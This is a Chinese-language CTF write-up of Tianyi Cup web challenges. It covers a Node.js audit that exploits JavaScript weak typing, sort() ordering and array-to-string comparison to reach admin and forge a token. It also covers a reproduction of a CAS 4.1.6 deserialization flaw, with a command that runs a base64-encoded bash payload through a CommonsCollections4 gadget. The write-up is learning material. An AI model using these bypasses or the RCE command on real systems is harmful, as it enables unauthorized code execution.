天翼杯部分webwp

写在前面

其实最近还是做了些题的,但是最近比较忙,心还比较累所以就懒得写了,就简单地写一下天翼杯的wp好了。

题目

nodejs审计(忘了叫啥了)

是Draw with us的一道改编题,找到了wp就一遍对着一遍看了。

主要参考了这篇wp https://xz.aliyun.com/t/7177#toc-7

主要的考点还是js的弱类型,还有个sort函数的比较机制。

由于这题的代码和上文很类似,这里主要列一下几个不一样的地方。

  1. 原题中考了js toUpperCase 的漏洞,但这里并不能用,因为同时检查了大小写转化。这里主要是用注册普通用户,然后利用becomeAdmin函数的逻辑漏洞来获取adminId。
  2. 然后和原本的流程一样利用js的比较机制来给用户添加获取secret的权限泄露secret,然后这里的init函数虽然设计的和上文不同,但是实际上只要拿到secret就可以伪造了,最后还是拿token出flag。

首先我们看下becomeAdmin函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
app.post("/becomeAdmin", (req, res) => {
let { value } = req.body;
let uid = req.user.id;
let user = users[uid];

let maxValue = [value, config.adminValue].sort()[1];
// config.admiValue = 1000 并且 user.value =100
if (value >= maxValue && user.value >= value) {
user.isAdmin = true;
res.send(ok({ isAdmin: true }));
} else {
res.json(err("You need pay more!"));
}
});

首先这里排序用到了sort函数,并选取第二个值。然而通过查阅文档发现,如果没有指定比较函数,sort就按照ascii值的升序排列元素,也就是说,类似于下面这个例子。

image.png

排序的时候按照ascii升序排列,然而比较的时候,会被转化为数字,所以使用’2e1’就绕过了。

然后简单地讲下init路由

1
2
3
4
5
6
7
8
9
10
11
app.post("/init", (req, res) => {
let { secret } = req.body;
let target = md5(config.secret.toString());

let adminId = md5(secret)
.split("")
.map((c, i) => c.charCodeAt(0) ^ target.charCodeAt(i))
.reduce((a, b) => a + b);

res.json(ok({ token: sign({ id: adminId }) }));
});

adminId会被分成32个字符,然后依次和target对应的字符亦或,最后求这些亦或值的和。也就是说要使得亦或值为0,输入的secret要和config中的secret完全一样。

最后提一下在绕过checkRight的trick,因为js中变量和字符串比较时会转化为字符串,所以类似于[‘source’]会在与’source’比较时toString,从而实现针对includes的绕过。

步骤

  1. 注册普通账号
    image.png
  2. becomeAdmin
    image.png
  3. 添加权限
    image.png
  4. /serverInfo泄露secret 1145141919810
  5. 生成admin token
    image.png
    这里注意secret的类型。
  6. 拿flag

总结下,这题逻辑看起来复杂,但总结完发现没有啥特别难的点,js弱类型和php弱类型比较类似,都是出在不同类型比较的地方。js都会统一成string或者数字来做计算,这种转换在有时候会造成一些bypass。

cas 4.16 漏洞复现 (就基本就是复现)

p牛牛逼!这里用到了vulhub里面给出的工具一把梭。

java -jar cas_att.jar CommonsCollections4 “bash -c {echo,youbase64cmd}|{base64,-d}|{bash,-i}”

image.png

出现500 加重置sessid就是成功了。 这个洞说实话和shiro很类似,不过现在秘钥未知的padding orcal可能更实用一些。

总结

怎么说呢,也差不多就是这两题,后面一题搞内网,还有一题整数溢出都不是我能hold的部分。希望这种好状态能保持到以后,,,